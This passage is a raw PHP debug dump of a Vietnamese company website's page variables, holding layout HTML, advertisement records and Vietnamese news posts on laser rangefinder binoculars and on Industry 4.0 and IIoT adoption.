src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: 